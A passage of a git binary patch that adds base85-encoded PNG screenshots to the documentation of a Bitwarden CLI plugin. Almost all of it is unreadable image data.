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 LC5dveZ-M^{?4YPR literal 0 HcmV?d00001 diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/docs/screenshots/09-sends.png b/plugins/io.github.elevate08.qs-bitwarden-cli/docs/screenshots/09-sends.png new file mode 100644 index 0000000000000000000000000000000000000000..c9971a9b006e48e0d8628dda4c1444c539ac733c GIT binary patch literal 39061 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 